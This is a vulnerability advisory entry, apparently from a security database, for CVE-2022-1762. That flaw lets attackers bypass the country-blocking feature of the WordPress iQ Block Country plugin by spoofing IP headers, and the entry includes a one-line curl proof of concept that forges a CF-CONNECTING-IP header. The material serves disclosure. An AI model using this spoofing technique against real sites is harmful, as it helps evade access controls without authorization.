Lucene search
K
Database
Vendors
Products
Years
CVSS
Scanner
Agent Scanning
API Scanning
Manual Audit
Perimeter Scanner
Scanning
Projects
Email
Webhook
Plugins
Resources
Documents
Blog
Glossary
FAQ
Pricing
Contacts
About Us
Partners
Branding Guideline
wpexploitDaniel RufWPEX-ID:03254977-37CC-4365-979B-326F9637BE85
HistoryMay 17, 2022 - 12:00 a.m.

iQ Block Country <= 1.2.18 - Protection Bypass due to IP Spoofing

2022-05-1700:00:00
Daniel Ruf
103

0.001 Low

EPSS

Percentile

34.0%

JSON

The plugin does not properly checks HTTP headers in order to validate the origin IP address, allowing threat actors to bypass it’s block feature by spoofing the headers.

curl -i -H 'CF-CONNECTING-IP: 0.0.0.0' https://example.com

Related

cnvd 1
cvelist 1
nvd 1
wpvulndb 1
prion 1
cve 1
patchstack 2
cnvd
cnvd
WordPress plugin iQ Block Country IP spoofing attack vulnerability
2022-06-15 00:00:00
cvelist
cvelist
CVE-2022-1762 iQ Block Country < 1.2.20 - Protection Bypass due to IP Spoofing
2022-06-13 12:42:39
nvd
nvd
CVE-2022-1762
2022-06-13 13:15:12
wpvulndb
wpvulndb
iQ Block Country <= 1.2.18 - Protection Bypass due to IP Spoofing
2022-05-17 00:00:00
prion
prion
Design/Logic Flaw
2022-06-13 13:15:00
cve
cve
CVE-2022-1762
2022-06-13 13:15:12
patchstack
patchstack
WordPress iQ Block Country plugin <= 1.2.13 - Protection Bypass due to IP Spoofing vulnerability
2022-05-17 00:00:00
WordPress iQ Block Country plugin <= 1.2.18 - Protection Bypass due to IP Spoofing vulnerability
2022-05-17 00:00:00

0.001 Low

EPSS

Percentile

34.0%

JSON
Related for WPEX-ID:03254977-37CC-4365-979B-326F9637BE85
cnvd1cvelist1nvd1wpvulndb1prion1cve1patchstack2